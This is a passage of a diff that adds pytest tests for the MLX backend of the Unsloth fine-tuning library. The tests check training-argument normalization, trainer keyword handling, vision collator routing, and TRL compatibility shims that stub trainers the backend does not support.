+            remove_unused_columns = False,
+            assistant_only_loss = False,
+            completion_only_loss = False,
+            **supported_eval_kwargs,
+        )
+
+    assert args.warmup_steps == 2
+    assert args.padding_free is False
+    assert args.remove_unused_columns is False
+    assert args.completion_only_loss is False
+    if supported_eval_kwargs:
+        assert args.eval_strategy == "no"
+        assert args.eval_delay == 1
+    assert caught == []
+
+
+def test_mlx_training_arguments_prefer_canonical_max_seq_length():
+    """Canonical MLX config fields should win over compatibility aliases."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_seq_length = 456, max_length = 123)
+    dict_args = unsloth.UnslothTrainingArguments(
+        {"max_length": 123, "max_seq_length": 456},
+    )
+
+    assert args.max_seq_length == 456
+    assert args.max_length == 456
+    assert args._unsloth_mlx_max_length_value == 456
+    assert dict_args.max_seq_length == 456
+    assert dict_args.max_length == 456
+    assert dict_args._unsloth_mlx_max_length_value == 456
+    assert args._unsloth_mlx_max_seq_length_explicit is True
+    assert dict_args._unsloth_mlx_max_seq_length_explicit is True
+
+
+def test_mlx_training_arguments_preserve_explicit_positive_warmup_steps():
+    """Explicit warmup_steps should take precedence over warmup_ratio."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(
+        max_steps = 10,
+        warmup_steps = 5,
+        warmup_ratio = 0.1,
+    )
+
+    assert args.warmup_steps == 5
+    assert args._unsloth_mlx_warmup_steps_explicit is True
+
+
+def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch):
+    """Older MLX releases expose cache clearing under mx.metal.clear_cache."""
+    unsloth = _import_mlx_unsloth()
+    import mlx.core as mx
+
+    called = []
+    metal = getattr(mx, "metal", None) or type("Metal", (), {})()
+    monkeypatch.delattr(mx, "clear_cache", raising = False)
+    monkeypatch.setattr(mx, "metal", metal, raising = False)
+    monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False)
+
+    unsloth.clear_gpu_memory()
+
+    assert called == ["metal"]
+
+
+def test_mlx_training_arguments_preserve_explicit_epoch_training():
+    """Epoch-based configs should not inherit the MLX max_steps default."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(num_train_epochs = 1, warmup_ratio = 0.1)
+    default_args = unsloth.UnslothTrainingArguments()
+
+    assert args.num_train_epochs == 1
+    assert args.max_steps == -1
+    assert args.warmup_ratio == 0.1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+    assert default_args.max_steps == unsloth.MLXTrainingConfig.max_steps
+
+
+def test_mlx_training_arguments_keep_mlx_dataset_order_default():
+    """Training arguments alone should not override MLX's native data order."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_steps = 1)
+    explicit_default = unsloth.UnslothTrainingArguments(
+        max_steps = 1,
+        dataset_order = "default",
+    )
+
+    assert args.dataset_order == "default"
+    assert args._unsloth_mlx_dataset_order_explicit is False
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert explicit_default.dataset_order == "default"
+    assert explicit_default._unsloth_mlx_dataset_order_explicit is True
+
+
+def test_mlx_training_arguments_warn_on_meaningful_inert_kwargs():
+    """Unsupported TrainingArguments knobs should not be silently ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "push_to_hub.*save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "steps",
+            push_to_hub = True,
+            padding_free = False,
+        )
+
+    assert args.save_strategy == "steps"
+    assert args.push_to_hub is True
+    assert args.padding_free is False
+
+
+def test_mlx_training_arguments_reject_unknown_kwargs():
+    """Unknown SFTConfig flags should fail instead of becoming inert attributes."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth.UnslothTrainingArguments(assistant_only_loss = True)
+
+    completion_args = unsloth.UnslothTrainingArguments(completion_only_loss = True)
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_reject_unsupported_object_flags():
+    """Object-style SFTConfig flags should not be silently dropped."""
+    unsloth = _import_mlx_unsloth()
+
+    class ArgsObject:
+        max_steps = 1
+        assistant_only_loss = True
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth._coerce_mlx_training_args(ArgsObject())
+
+    class CompletionArgsObject:
+        max_steps = 1
+        completion_only_loss = True
+
+    completion_args = unsloth._coerce_mlx_training_args(CompletionArgsObject())
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_accept_output_dir_positional():
+    """A single positional output_dir should match TrainingArguments behavior."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("custom-outputs", max_steps = 3)
+
+    assert args.output_dir == "custom-outputs"
+    assert args.max_steps == 3
+
+
+def test_mlx_training_arguments_normalize_optim_and_object_aliases():
+    """Common notebook optimizer names and object aliases should normalize."""
+    unsloth = _import_mlx_unsloth()
+
+    class Scheduler:
+        value = "cosine"
+
+    class ArgsObject:
+        optim = "adamw_8bit"
+        eval_steps = None
+        lr_scheduler_type = Scheduler()
+        max_length = 321
+        max_steps = 10
+        num_train_epochs = 3.0
+        save_steps = 500
+        save_strategy = "no"
+        warmup_ratio = 0.1
+        warmup_steps = 0
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth._coerce_mlx_training_args(ArgsObject())
+
+    assert args.optim == "adamw"
+    assert args.eval_steps == 0
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_seq_length == 321
+    assert args.num_train_epochs == 3
+    assert type(args.num_train_epochs) is int
+    assert args.save_steps == 0
+    assert args.warmup_steps == 1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_accept_supported_notebook_kwargs():
+    """Supported SFT notebooks should be able to pass their current args."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(
+        RuntimeWarning,
+        match = "bf16.*dataset_kwargs.*gradient_checkpointing_kwargs.*save_strategy",
+    ):
+        args = unsloth.UnslothTrainingArguments(
+            bf16 = True,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            dataset_num_proc = 4,
+            dataset_text_field = "text",
+            embedding_learning_rate = 5e-5,
+            fp16 = False,
+            gradient_accumulation_steps = 8,
+            gradient_checkpointing = True,
+            gradient_checkpointing_kwargs = {"use_reentrant": False},
+            learning_rate = 1e-4,
+            logging_steps = 2,
+            lr_scheduler_type = "cosine",
+            max_grad_norm = 0.3,
+            max_length = 1024,
+            max_steps = 10,
+            num_train_epochs = 1,
+            optim = "paged_adamw_8bit",
+            output_dir = "outputs",
+            padding_free = False,
+            per_device_train_batch_size = 1,
+            remove_unused_columns = False,
+            report_to = "none",
+            save_strategy = "steps",
+            seed = 123,
+            warmup_ratio = 0.1,
+            weight_decay = 0.01,
+        )
+
+    assert args.dataset_num_proc == 4
+    assert args.dataset_text_field == "text"
+    assert args.embedding_learning_rate == 5e-5
+    assert args.gradient_accumulation_steps == 8
+    assert args.gradient_checkpointing is True
+    assert args.learning_rate == 1e-4
+    assert args.logging_steps == 2
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_grad_norm == 0.3
+    assert args.max_seq_length == 1024
+    assert args.max_steps == 10
+    assert args.num_train_epochs == 1
+    assert args.optim == "adamw"
+    assert args.output_dir == "outputs"
+    assert args.per_device_train_batch_size == 1
+    assert args.report_to == "none"
+    assert args.seed == 123
+    assert args.warmup_ratio == 0.1
+    assert args.warmup_steps == 1
+    assert args.weight_decay == 0.01
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.gradient_checkpointing_kwargs == {"use_reentrant": False}
+    assert args.save_strategy == "steps"
+
+
+def test_mlx_training_arguments_honor_direct_no_save_strategy():
+    """Direct kwargs should map save_strategy=no to save_steps=0."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "no",
+            save_steps = 500,
+        )
+
+    assert args.save_steps == 0
+
+
+def test_mlx_trainer_accepts_common_sft_kwargs():
+    """UnslothTrainer should accept common SFTTrainer kwargs on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        trainer = unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = {"max_steps": 1},
+            dataset_num_proc = 8,
+            max_length = 456,
+            optim = "adamw_bnb_8bit",
+            processing_class = object(),
+        )
+
+    assert trainer.args.max_steps == 1
+    assert trainer.args.dataset_num_proc == 8
+    assert trainer.args.max_seq_length == 456
+    assert trainer.args.max_grad_norm == 1.0
+    assert trainer.args.optim == "adamw"
+    assert trainer.args.dataset_order == "torch_randperm"
+    assert trainer._unsloth_mlx_ignored_trainer_kwargs == {}
+    assert caught == []
+
+
+def test_mlx_trainer_preserves_explicit_dataset_order():
+    """UnslothTrainer should only set torch_randperm when order is implicit."""
+    unsloth = _import_mlx_unsloth()
+
+    explicit_default = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "default",
+        ),
+    )
+    explicit_sequential = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "sequential",
+        ),
+    )
+    implicit_with_override = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+    implicit_streaming = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, streaming = True),
+    )
+    explicit_no_clip = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            max_grad_norm = 0.0,
+        ),
+    )
+
+    assert explicit_default.args.dataset_order == "default"
+    assert explicit_sequential.args.dataset_order == "sequential"
+    assert implicit_with_override.args.dataset_order == "torch_randperm"
+    assert implicit_streaming.args.dataset_order == "default"
+    assert implicit_with_override.args.max_grad_norm == 1.0
+    assert explicit_no_clip.args.max_grad_norm == 0.0
+
+
+def test_mlx_trainer_uses_model_context_length_when_implicit():
+    """UnslothTrainer should mirror CUDA's max_length bridge precedence."""
+    unsloth = _import_mlx_unsloth()
+    model = _DummyModel()
+    model.max_seq_length = 321
+    max_length_model = _DummyModel()
+    max_length_model.max_seq_length = 321
+    none_model = _DummyModel()
+    none_model.max_seq_length = 321
+    explicit_seq_model = _DummyModel()
+    explicit_seq_model.max_seq_length = 321
+    clamped_seq_model = _DummyModel()
+    clamped_seq_model.max_seq_length = 321
+    model_max_length = _DummyModel()
+    model_max_length.max_length = 777
+    metadata_model = _DummyModel()
+    metadata_model.config = type("Config", (), {"max_position_embeddings": 888})()
+    metadata_tokenizer = type("Tokenizer", (), {"model_max_length": 999})()
+    explicit_max_length_no_model = _DummyModel()
+    trainer_override_model = _DummyModel()
+    trainer_override_model.max_seq_length = 321
+    config_override_model = _DummyModel()
+    config_override_model.max_seq_length = 432
+
+    implicit = unsloth.UnslothTrainer(
+        model = model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    max_length_args = unsloth.UnslothTrainer(
+        model = max_length_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    none_args = unsloth.UnslothTrainer(
+        model = none_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = None),
+    )
+    explicit_seq = unsloth.UnslothTrainer(
+        model = explicit_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 123),
+    )
+    clamped_seq = unsloth.UnslothTrainer(
+        model = clamped_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 654),
+    )
+    model_max_length_only = unsloth.UnslothTrainer(
+        model = model_max_length,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    metadata_ignored = unsloth.UnslothTrainer(
+        model = metadata_model,
+        tokenizer = metadata_tokenizer,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    explicit_max_length = unsloth.UnslothTrainer(
+        model = explicit_max_length_no_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    trainer_override = unsloth.UnslothTrainer(
+        model = trainer_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        max_seq_length = 654,
+    )
+    config_with_override = unsloth.UnslothTrainer(
+        model = config_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.MLXTrainingConfig(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+
+    assert implicit.args.max_seq_length == 321
+    assert implicit.args.max_length == 321
+    assert max_length_args.args.max_seq_length == 321
+    assert max_length_args.args.max_length == 321
+    assert none_args.args.max_seq_length == 321
+    assert none_args.args.max_length == 321
+    assert explicit_seq.args.max_seq_length == 123
+    assert explicit_seq.args.max_length == 123
+    assert clamped_seq.args.max_seq_length == 321
+    assert clamped_seq.args.max_length == 321
+    assert model_max_length_only.args.max_seq_length == 777
+    assert model_max_length_only.args.max_length == 777
+    assert metadata_ignored.args.max_seq_length == 1024
+    assert metadata_ignored.args.max_length == 1024
+    assert explicit_max_length.args.max_seq_length == 123
+    assert explicit_max_length.args.max_length == 123
+    assert trainer_override.args.max_seq_length == 654
+    assert trainer_override.args.max_length == 654
+    assert config_with_override.args.max_seq_length == 432
+    assert config_with_override.args.max_length == 432
+
+
+def test_mlx_trainer_processing_class_overrides_explicit_none_tokenizer():
+    """TRL passes tokenizer=None while processing_class carries the tokenizer."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processing_class = processor,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_vision_collator_processor_overrides_processing_class():
+    """Vision notebooks pass the tokenizer as processing_class and processor in collator."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_preserves_explicit_processor_over_vision_collator():
+    """Explicit processor kwargs should stay authoritative over collator metadata."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+    explicit_processor = object()
+
+    class Processor:
+        pass
+
+    collator_processor = Processor()
+    collator_processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), collator_processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processor = explicit_processor,
+        processing_class = tokenizer,
+        data_collator = collator,
+    )
+
+    assert trainer.processor is explicit_processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_forwards_vision_collator_positional_defaults():
+    """Vision collator CUDA-style positionals should route into MLX args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(
+        _DummyVLMModel(),
+        object(),
+        2048,
+        None,
+        "max",
+        -100,
+        False,
+        None,
+        None,
+        True,
+        None,
+        False,
+    )
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        data_collator = collator,
+    )
+
+    assert trainer.args.max_seq_length == 2048
+    assert trainer.args.image_size == "max"
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_vision_collator_default_does_not_override_explicit_args():
+    """Implicit collator defaults should not override explicit trainer args."""
+    unsloth = _import_mlx_unsloth()
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), object())
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = False,
+        ),
+        data_collator = collator,
+    )
+
+    assert trainer.args.completion_only_loss is False
+
+
+def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs():
+    """Unsupported kwargs that change training semantics should fail on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "peft_config"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            peft_config = object(),
+        )
+
+
+def test_mlx_trainer_rejects_compute_metrics():
+    """compute_metrics is still unsupported by MLXTrainer."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "compute_metrics"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            compute_metrics = lambda *_: None,
+        )
+
+
+def test_mlx_trainer_accepts_callbacks():
+    """Callbacks are routed to MLXTrainer when the zoo backend supports them."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    if not unsloth._mlx_trainer_supports_kwarg("callbacks"):
+        pytest.skip("requires unsloth-zoo MLXTrainer callback support")
+
+    class Callback(TrainerCallback):
+        pass
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        callbacks = [Callback()],
+    )
+    assert any(isinstance(cb, Callback) for cb in trainer.callback_handler.callbacks)
+
+
+def test_mlx_trainer_rejects_callbacks_with_old_zoo(monkeypatch):
+    """Older unsloth-zoo builds should fail clearly instead of TypeError."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    monkeypatch.setattr(
+        unsloth,
+        "_mlx_trainer_supports_kwarg",
+        lambda name: name != "callbacks",
+    )
+
+    with pytest.raises(NotImplementedError, match = "callbacks require"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            callbacks = [TrainerCallback()],
+        )
+
+
+def test_mlx_trainer_rejects_custom_data_collator():
+    """MLXTrainer owns batching; custom SFT data collators must not be ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "data_collator"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            data_collator = object(),
+        )
+
+
+def test_mlx_trainer_rejects_text_completion_only_loss():
+    """Text MLX training should not silently ignore completion_only_loss=True."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "completion_only_loss=True"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = unsloth.UnslothTrainingArguments(
+                max_steps = 1,
+                completion_only_loss = True,
+            ),
+        )
+
+
+def test_mlx_trainer_allows_vlm_completion_only_loss():
+    """VLM MLX training supports completion_only_loss during collation."""
+    unsloth = _import_mlx_unsloth()
+
+    class VLMModel(_DummyModel):
+        _is_vlm_model = True
+
+    trainer = unsloth.UnslothTrainer(
+        model = VLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            completion_only_loss = True,
+        ),
+    )
+
+    assert trainer.args.completion_only_loss is True
+
+
+def test_mlx_trainer_accepts_trl_style_positional_args():
+    """TRL-style positional `(model, args, ...)` should not be read as tokenizer."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("trl-outputs", max_steps = 2)
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        args,
+        train_dataset = [],
+        tokenizer = None,
+    )
+
+    assert trainer.args is args
+    assert trainer.args.output_dir == "trl-outputs"
+    assert trainer.train_dataset == []
+
+
+def test_mlx_trainer_accepts_trl_none_placeholder_positionals():
+    """Explicit TRL default placeholders should preserve later positional args."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+    processing_class = object()
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+        None,
+        processing_class,
+    )
+
+    assert getattr(trainer.train_dataset, "_dataset", trainer.train_dataset) is dataset
+    assert getattr(trainer, "_mlx_train_dataset_for_batches", dataset) is dataset
+    assert trainer.tokenizer is processing_class
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_none_placeholder_positionals():
+    """Short TRL placeholder calls should keep the fourth arg as train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_accepts_short_trl_placeholders_with_keyword_dataset():
+    """Short TRL placeholders should not conflict with keyword train_dataset."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        None,
+        train_dataset = dataset,
+    )
+
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+    assert trainer.args.max_steps == 60
+
+
+def test_mlx_trainer_preserves_mlx_positional_schema_with_none_tokenizer():
+    """MLX-style `(model, tokenizer, train_dataset, ...)` should still work."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        dataset,
+        None,
+    )
+
+    assert trainer.tokenizer is None
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+
+
+def test_mlx_compatibility_shims_are_installed():
+    """Old notebook imports should resolve to the MLX public API after unsloth import."""
+    unsloth = _import_mlx_unsloth()
+
+    trl = importlib.import_module("trl")
+    trainer_module = importlib.import_module("unsloth.trainer")
+    chat_templates = importlib.import_module("unsloth.chat_templates")
+    dataset_utils = importlib.import_module("unsloth_zoo.dataset_utils")
+
+    assert importlib.util.find_spec("trl") is not None
+    assert importlib.util.find_spec("unsloth.trainer") is not None
+    assert unsloth.trainer is trainer_module
+    assert unsloth.chat_templates is chat_templates
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer
+    assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator
+    assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only
+    assert callable(unsloth.train_on_responses_only)
+
+
+def test_mlx_trl_shim_preserves_existing_trl_module(monkeypatch):
+    """The MLX TRL shim should patch, not replace, an already-loaded TRL module."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.existing_marker = object()
+    trl.ExistingExport = object()
+    trl.__all__ = ["ExistingExport", "BrokenExport"]
+
+    def _raise_for_broken_export(name):
+        if name == "BrokenExport":
+            raise RuntimeError("optional dependency missing")
+        raise AttributeError(name)
+
+    trl.__getattr__ = _raise_for_broken_export
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    assert sys.modules["trl"] is trl
+    assert trl.__path__ == ["real-trainer-package"]
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+    assert "ExistingExport" in trl.__all__
+    assert "BrokenExport" not in trl.__all__
+    assert "SFTTrainer" in trl.__all__
+    assert "SFTConfig" in trl.__all__
+
+
+def test_mlx_trl_shim_installs_real_trl_or_stub(monkeypatch):
+    """The MLX TRL shim should prefer real TRL and stub only if unavailable."""
+    unsloth = _import_mlx_unsloth()
+    monkeypatch.delitem(sys.modules, "trl", raising = False)
+    real_trl_available = importlib.util.find_spec("trl") is not None
+
+    unsloth._install_mlx_trl_sft_shim()
+    trl = importlib.import_module("trl")
+
+    if real_trl_available:
+        assert trl.__version__ != "0.0.0+unsloth-mlx"
+    else:
+        assert trl.__version__ == "0.0.0+unsloth-mlx"
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+
+
+def test_mlx_trl_star_import_exports_public_shims():
+    """Existing `from trl import *` callers should receive MLX SFT shims."""
+    unsloth = _import_mlx_unsloth()
+    namespace = {}
+
+    exec("from trl import *", namespace)
+
+    assert namespace["SFTTrainer"] is unsloth.UnslothTrainer
+    assert issubclass(namespace["SFTConfig"], unsloth.UnslothTrainingArguments)
+
+
+def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch):
+    """GRPO/DPO/ORPO trainers have no MLX path, so the shim retargets the ones trl
+    exposes to a clear NotImplementedError instead of a confusing CUDA crash, and
+    never invents trainers trl does not have."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+
+    class _RealTrainer:
+        def __init__(self, *args, **kwargs):
+            raise AssertionError("the real torch/CUDA trainer must not run on MLX")
+
+    trl.GRPOTrainer = _RealTrainer
+    trl.DPOTrainer = _RealTrainer
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        assert getattr(trl, name) is not _RealTrainer
+        with pytest.raises(NotImplementedError) as exc:
+            getattr(trl, name)(model = None, args = None)
+        assert "MLX" in str(exc.value) and name in str(exc.value)
+    # trainers trl never exposed must not be invented
+    assert not hasattr(trl, "PPOTrainer")
+    # idempotent: a second install keeps the same stub
+    stub = trl.GRPOTrainer
+    unsloth._install_mlx_trl_sft_shim()
+    assert trl.GRPOTrainer is stub
+
+
+def test_mlx_rl_trainer_stub_is_lazy_import_safe(monkeypatch):
+    """Stubbing unsupported trl trainers must not resolve them: trl lazy-imports
+    pull torch, so on a torch-free MLX install a getattr probe would crash
+    `import unsloth`. The shim reads __all__/vars metadata and never triggers
+    trl's __getattr__ for a trainer it is about to replace."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "GRPOTrainer", "DPOTrainer"]
+    resolved = []
+
+    def _lazy_getattr(name):
+        resolved.append(name)
+        raise ImportError(f"lazy import of {name} would pull torch")
+
+    trl.__getattr__ = _lazy_getattr
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()  # must not raise despite the lazy trl
+
+    # trainers declared in __all__ are stubbed WITHOUT ever resolving the real one
+    assert resolved == []
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        with pytest.raises(NotImplementedError):
+            getattr(trl, name)(model = None)
+
+
+def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch):
+    """Any non-SFT trainer trl exports (e.g. a newer RLOOTrainer not in the fixed
+    list) must be stubbed too, so no torch trainer slips through on MLX."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "RLOOTrainer"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    with pytest.raises(NotImplementedError) as exc:
+        trl.RLOOTrainer(model = None)
+    assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value)
+    # SFT stays usable; only non-SFT trainers are stubbed
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+
+
+def test_mlx_preserve_dataset_order_is_accepted():
+    """preserve_dataset_order=True must be accepted (it is a real MLX config field),
+    not rejected as an unknown/unsupported argument."""
+    unsloth = _import_mlx_unsloth()
+    args = unsloth.UnslothTrainingArguments(
+        output_dir = "mlx-out",
+        max_steps = 10,
+        preserve_dataset_order = True,
+    )
+    assert getattr(args, "preserve_dataset_order", False) is True
+
+
+def test_mlx_sftconfig_alias_keeps_trl_epoch_default(monkeypatch):
+    """`trl.SFTConfig` (aliased on MLX) keeps TRL's default training length: with
+    no explicit max_steps/num_train_epochs it runs TRL's 3 epochs, not the native
+    MLX 60-step default. An explicit length is authoritative and untouched."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
